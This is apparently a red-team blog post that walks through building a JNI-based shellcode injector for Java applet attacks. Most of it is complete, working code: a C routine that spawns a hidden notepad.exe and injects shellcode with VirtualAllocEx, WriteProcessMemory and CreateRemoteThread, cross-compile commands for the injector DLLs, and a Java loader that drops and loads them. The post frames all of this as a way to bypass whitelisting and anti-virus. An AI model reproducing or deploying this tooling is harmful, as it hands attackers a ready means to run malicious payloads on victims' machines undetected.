Cobalt Strike’s Java Applet attacks inject shellcode into memory. Injecting into memory is valuable as it helps get past application whitelisting and can help evade anti-virus as well.
There are several approaches to inject shellcode into memory from Java. One approach is to drop syringe and call it with your shellcode. If syringe or your variant isn’t white listed though, you’re out of the game. Another approach is to use PowerShell, but this won’t do much good against Windows XP.
Another option is to extend Java through JNI to add an API to inject shellcode. This is the approach I take.
JNI is the Java Native Interface. It’s an opportunity for developers to load a specially crafted native library into the Java Virtual Machine and interface with it through Java itself. Java applets may take advantage of JNI as well.
First, let’s create a Java program that interfaces with a function to inject shellcode:
public class Demo { public native void inject(byte[] me); }
The native keyword attached to inject states that inject is defined in a native JNI library.
To create a library for our Java shellcode injector, we must first compile our Java program.
javac -d bin -cp bin src-java/Demo.java
Now that we have a .class file, we can ask Java to generate the necessary headers for our JNI library. To do this, we use the javah program.
javah -classpath bin -jni -o src/injector.h Demo
This program will output an injector.h file in a folder called src. The injector.h header will define a prototype for our inject function:
JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv *, jobject, jbyteArray);
Next, we need to implement this function. Here’s a quick run of it:
JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv * env, jobject object, jbyteArray jdata) { jbyte * data = (*env)->GetByteArrayElements(env, jdata, 0); jsize length = (*env)->GetArrayLength(env, jdata); inject((LPCVOID)data, (SIZE_T)length); (*env)->ReleaseByteArrayElements(env, jdata, data, 0); }
JNI provides us with some help when it comes to marshaling data between C and Java. Many Java types map 1:1 to C types (e.g., jchar is just a char). To learn more about how JNI maps its types to C, look at Chapter 3 of the JNI documentation. To learn about functions that help interface with Java arrays passed to JNI, read chapter 4 of the JNI documentation.
When I work with JNI, I like to handle all of my Java -> C type conversions in the JNI function. Once these conversions are handled, I call another C function to carry out the task.
Now, let’s write our inject function to spawn our shellcode:
/* inject some shellcode... enclosed stuff is the shellcode y0 */ void inject(LPCVOID buffer, int length) { STARTUPINFO si; PROCESS_INFORMATION pi; HANDLE hProcess = NULL; SIZE_T wrote; LPVOID ptr; char lbuffer[1024]; char cmdbuff[1024]; /* reset some stuff */ ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory( &pi, sizeof(pi) ); /* start a process */ GetStartupInfo(&si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdOutput = NULL; si.hStdError = NULL; si.hStdInput = NULL; /* resolve windir? */ GetEnvironmentVariableA("windir", lbuffer, 1024); /* setup our path... choose wisely for 32bit and 64bit platforms */ #ifdef _IS64_ _snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer); #else _snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer); #endif /* spawn the process, baby! */ if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) return; hProcess = pi.hProcess; if( !hProcess ) return; /* allocate memory in our process */ ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); /* write our shellcode to the process */ WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote); if (wrote != length) return; /* create a thread in the process */ CreateRemoteThread(hProcess, NULL, 0, ptr, NULL, 0, NULL); }
This function is written to work with an x86 and x64 Java Virtual Machine on Windows. First, it checks if _IS64_ is defined. This macro (supplied at compile time) is what I use to find out if I’m in a 64-bit Java Virtual Machine or not. Either way, the outcome is the same, I spawn a 32-bit notepad.exe process.
Once my 32-bit process is spawned, I follow through with the normal shellcode injection pattern: allocate memory in my spawned process, copy my shellcode to it, and create a new thread in my spawned process that executes my shellcode. That’s it.
I prefer to spawn into another process, because if a problem occurs in the shellcode, it will not crash the process I spawned the shellcode from. Spawning into a 32-bit process (regardless of our Windows version) has another benefit: it allows us to use 32-bit shellcode, even if we’re running in a 64-bit Java Virtual Machine.
Now, we need to compile our JNI library. For this blog post, I’m using Kali Linux as my development environment. Kali Linux comes with MinGW-w64 installed. MinGW-w64 is a cross-compiler capable of building binaries for x86 and x64 Windows.
To compile our JNI library, we will need some files from the Java Developer’s Kit on Windows. To get these files, install a JDK on Windows, and grab C:\Program Files\Java\jdkXXXXXXXX\include and copy it to your build environment.
$ find include/ include/ include/jvmti.h include/win32 include/win32/jawt_md.h include/win32/jni_md.h include/jni.h include/jdwpTransport.h include/jawt.h include/classfile_constants.h
Before you compile your DLL, create an injector.def file in the src/ folder. Here’s the contents of the file:
EXPORTS Java_Demo_inject
To compile your JNI DLL, use:
i686-w64-mingw32-gcc -c src/*.c -l jni -I include -I include/win32 -Wall -D_JNI_IMPLEMENTATION_ -Wl,--kill-at -shared i686-w64-mingw32-dllwrap --def src/injector.def injector.o -o temp.dll strip temp.dll -o bin/injector.dll
This will give you an injector.dll file. Sadly, we run into a problem here. A 32-bit Java Virtual Machine will welcome our DLL file with open arms. A 64-bit Java Virtual Machine will not. We must compile a 64-bit variant of the DLL to use it in a 64-bit Java Virtual Machine. To do so:
x86_64-w64-mingw32-gcc -m64 -c src/*.c -l jni -I include -I include/win32 -Wall -D_JNI_IMPLEMENTATION_ -D_IS64_ -Wl,--kill-at -shared x86_64-w64-mingw32-dllwrap -m64 --def src/injector.def injector.o -o temp.dll strip temp.dll -o bin/injector64.dll
Notice that the 64-bit build process defines _IS64_. In the source code for inject, I use this identifier to determine whether I’m a 64-bit DLL or a 32-bit DLL and act appropriately.
Now we have our DLLs, let’s fill in our Demo class and make it into something that can inject shellcode for us:
import java.io.*; public class Demo { /* our shellcode... populate this from Metasploit */ byte shell[] = new byte[0]; public native void inject(byte[] me); public void loadLibrary() { try { /* our file */ String file = "injector.dll"; /* determine the proper shellcode injection DLL to use */ if ((System.getProperty("os.arch") + "").contains("64")) file = "injector64.dll"; /* grab our DLL file from this JAR file */ InputStream i = this.getClass().getClassLoader().getResourceAsStream(file); byte[] data = new byte[1024 * 512]; int length = i.read(data); i.close(); /* write our DLL file to disk, in a temp folder */ File library = File.createTempFile("injector", ".dll"); library.deleteOnExit(); FileOutputStream output = new FileOutputStream(library, false); output.write(data, 0, length); output.close(); /* load our DLL into this Java */ System.load(library.getAbsolutePath()); } catch (Throwable ex) { ex.printStackTrace(); } } public Demo() { loadLibrary(); inject(shell); } public static void main(String args[]) { new Demo(); } }
The loadLibrary function reaches into our JAR file (or current classpath) and grabs the proper injector.dll file (64-bit or 32-bit). Once the injector file is on disk, I call System.load to load the DLL into the Java Virtual Machine. Once this step completes, we’re able to inject our shellcode with the inject function. That’s it!
A Few Tips:
1) To try this example out, you will need to generate shellcode from the Metasploit Framework and assign it to the shell variable. Do that in whatever way is convenient for you. Make sure you set the Encoder option to generic/none.
2) If you use this technique with an applet, beware that some browsers keep the Java Virtual Machine around after your applet runs. If you use this technique in an applet, use a static variable to check whether you’ve loaded your JNI library already or not. If you try to load a library a second time in the same JVM, the process will fail.